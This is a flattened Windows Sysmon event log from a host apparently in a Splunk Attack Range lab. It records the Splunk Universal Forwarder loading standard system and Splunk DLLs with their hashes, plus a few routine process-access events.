SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000056250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.344{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000056249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.344{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000056248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.344{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000056247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.344{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000056246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.344{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000056245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.344{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000056244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.344{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000056243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.344{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000056242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000056241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000056240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000056239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000056238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000056237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000056236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000056235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000056234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000056233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000056231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000056230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000056229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000056228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000056227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000056226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000056225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000056224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000056223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000056222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000056221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000056220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000056219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000056218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\fltLib.dll10.0.14393.0 (rs1_release.160715-1616)Filter LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationfilterLib.dllMD5=051ABD8360BDA63A1BC77C662FBF0A25,SHA256=C914E2DBAEC2C9A11923A984B30A979637D3A27B3C29E93F4C90FB1D9FBC518F,IMPHASH=74D3C2DA8B6F9861866B866AE40683D3trueMicrosoft WindowsValid 734700x800000000000000056217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000056216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000056215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000056214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000056212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000056211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exeMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8trueSplunk, Inc.Valid 10341000x800000000000000056209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 